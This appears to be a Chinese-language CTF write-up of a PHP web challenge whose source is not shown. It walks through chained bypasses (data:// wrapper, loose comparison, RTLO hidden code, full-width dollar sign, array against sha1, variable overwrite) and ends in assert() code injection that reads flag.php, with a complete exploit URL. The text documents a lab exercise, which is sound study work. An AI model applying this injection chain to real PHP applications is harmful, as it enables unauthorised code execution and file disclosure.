题目描述
PHP is a popular general-purpose scripting language that is especially suited to web development.
Fast, flexible and pragmatic, PHP powers everything from your blog to the most popular websites in the world.
Can you untangle this mess?!
源码
1 |
|
大致思路如下所示
1 | msg bypassed |
首先第一步进行msg bypassed
赛后发现也可以用这种方法进行绕过
1 | msg=data://text/plain,Hello%20Challenge! |
参考链接
然后进行k1==》key1 bypassed
ubuntu安装php环境进行测试
1 | 删除所有的php包 |
进行测试
1 | php > $cc=1337; |
bypassed
然后来到这题的亮点,在于$$a!==$k1,也就是如下代码
1 | $b=1;//;"b"=a$;"2" = b |
这里有一个小trick,参考 RTLO Trick
大致意思就是在文本前插入\u202e就会反向输出后续的字符
插入\u202e后
这里的代码示意如下
1 | $b=1;//;"b"=a$;"2" = b |
也可以通过鼠标移动发现代码
故构造$k1=2即可bypassed
然后来到
1 | if(substr($cc, $bb) === sha1($cc)){ |
然后为了能get传参cc覆盖原变量,我们必须bypassed 这一段
1 | if(strlen($k2) == $bb){ |
这里的$是美元符号,占三个字节,编码为\xEF\xBC\x84
可以看到这里构造的key2必须满足以美元符号结尾,且必须为非数字类型,且key2==$cc (1337)
1 | php > $k2='000000000000000000000000000000000001337$'; |
接下来就是简单的array bypassed
1 | php > var_dump(strlen(sha1("a"))); |
之后的foreach含义即为get获取的参数覆盖全局变量
1 | php > function action($a){foreach ($a as $lel => $hack){$$lel = $hack;echo $$lel;}} |
可以看到
1 | assert_options(ASSERT_BAIL, 1); |
这里参考 assert_options
利用
1 | assert("$bb == $cc"); |
通过注释掉后面的==$cc进行文件读取,构造
1 | bb=show_source('flag.php');// |
最终payload为
1 | /?msg=data://text/plain,Hello%20Challenge!&key1=1337&k1=2&key2=000000000000000000000000000000000001337%ef%bc%84&cc[]=&bb=show_source('flag.php');// |
继续补坑。。